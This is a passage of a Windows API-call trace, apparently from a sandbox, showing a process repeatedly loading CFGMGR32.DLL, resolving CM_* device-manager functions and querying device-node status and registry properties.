0x7ffa786e5260 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.343] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.344] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.344] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0186.344] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0186.345] malloc (_Size=0x48) returned 0x196ef0fb950 [0186.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4fecee83, dwHighDateTime=0x1d9eb0c)) [0186.345] SetEvent (hEvent=0x248) returned 1 [0186.348] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.348] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.348] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.349] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.351] malloc (_Size=0x18) returned 0x196ef0d1f60 [0186.351] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0186.351] malloc (_Size=0x48) returned 0x196ef0fb270 [0186.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4fecee83, dwHighDateTime=0x1d9eb0c)) [0186.351] SetEvent (hEvent=0x248) returned 1 [0186.354] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.354] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.354] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.354] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.354] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.355] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.356] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.357] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.357] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0186.357] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0186.358] malloc (_Size=0x48) returned 0x196ef0fbc70 [0186.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4fefa441, dwHighDateTime=0x1d9eb0c)) [0186.358] SetEvent (hEvent=0x248) returned 1 [0186.361] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.361] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.363] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.364] malloc (_Size=0x18) returned 0x196ef0d2040 [0186.364] CM_Get_Device_IDA (in: dnDevInst=0x1d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\ISATAP_0") returned 0x0 [0186.364] malloc (_Size=0x48) returned 0x196ef0fb720 [0186.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4fefa441, dwHighDateTime=0x1d9eb0c)) [0186.364] SetEvent (hEvent=0x248) returned 1 [0186.367] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.367] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.369] malloc (_Size=0x18) returned 0x196ef0d1e20 [0186.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0186.369] malloc (_Size=0x12) returned 0x196ef0d1f00 [0186.369] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1f00, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1f00, pulLength=0x67117d608) returned 0x0 [0186.370] free (_Block=0x196ef0d1f00) [0186.370] malloc (_Size=0x48) returned 0x196ef0fbb80 [0186.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4fefa441, dwHighDateTime=0x1d9eb0c)) [0186.372] SetEvent (hEvent=0x248) returned 1 [0186.374] malloc (_Size=0x18) returned 0x196ef0d1a60 [0186.374] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0186.374] free (_Block=0x196ef0d1a60) [0186.374] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0186.374] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0186.374] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0186.374] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0186.374] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6410 [0186.374] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0186.374] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0186.374] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0186.374] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0186.375] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.375] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6410) returned 1 [0186.375] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0186.376] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.376] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.378] malloc (_Size=0x18) returned 0x196ef0d1a20 [0186.378] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0186.379] malloc (_Size=0x38) returned 0x196ef0d0c50 [0186.379] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0c50, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0c50, pulLength=0x67117d608) returned 0x0 [0186.379] free (_Block=0x196ef0d0c50) [0186.379] malloc (_Size=0x48) returned 0x196ef0fbd60 [0186.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4ff1b373, dwHighDateTime=0x1d9eb0c)) [0186.379] SetEvent (hEvent=0x248) returned 1 [0186.381] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0186.381] SafeArrayPutElement (psa=0x196ee7bed60, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0186.381] free (_Block=0x196ef0d1fa0) [0186.381] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0186.381] SafeArrayPutElement (psa=0x196ee7bed60, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0186.381] free (_Block=0x196ef0d1ce0) [0186.381] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855d60 [0186.381] SafeArrayGetDim (psa=0x196ee7bed60) returned 0x1 [0186.381] SafeArrayGetLBound (in: psa=0x196ee7bed60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0186.381] SafeArrayGetUBound (in: psa=0x196ee7bed60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0186.381] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6260 [0186.381] SafeArrayGetDim (psa=0x196ee7bed60) returned 0x1 [0186.381] SafeArrayGetUBound (in: psa=0x196ee7bed60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0186.381] SafeArrayGetElemsize (psa=0x196ee7bed60) returned 0x8 [0186.382] SafeArrayGetElement (in: psa=0x196ee7bed60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0186.382] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e430, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.382] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e438, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.383] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6260) returned 1 [0186.383] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855d60) returned 1 [0186.383] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.383] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.595] malloc (_Size=0x18) returned 0x196ef0d19a0 [0186.595] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.601] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0186.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50134884, dwHighDateTime=0x1d9eb0c)) [0186.601] SetEvent (hEvent=0x248) returned 1 [0186.608] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.608] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 